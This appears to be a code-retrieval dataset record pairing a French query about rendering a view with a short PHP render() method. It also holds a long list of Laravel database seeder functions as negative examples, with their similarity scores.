\\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
Permet de rendre la vue
public function render($view, $variables = []){ ob_start(); extract($variables); require($this->viewPath . str_replace('.', '/', $view) . '.php'); $content = ob_get_clean(); require($this->viewPath . 'template/' . $this->template . '.php'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
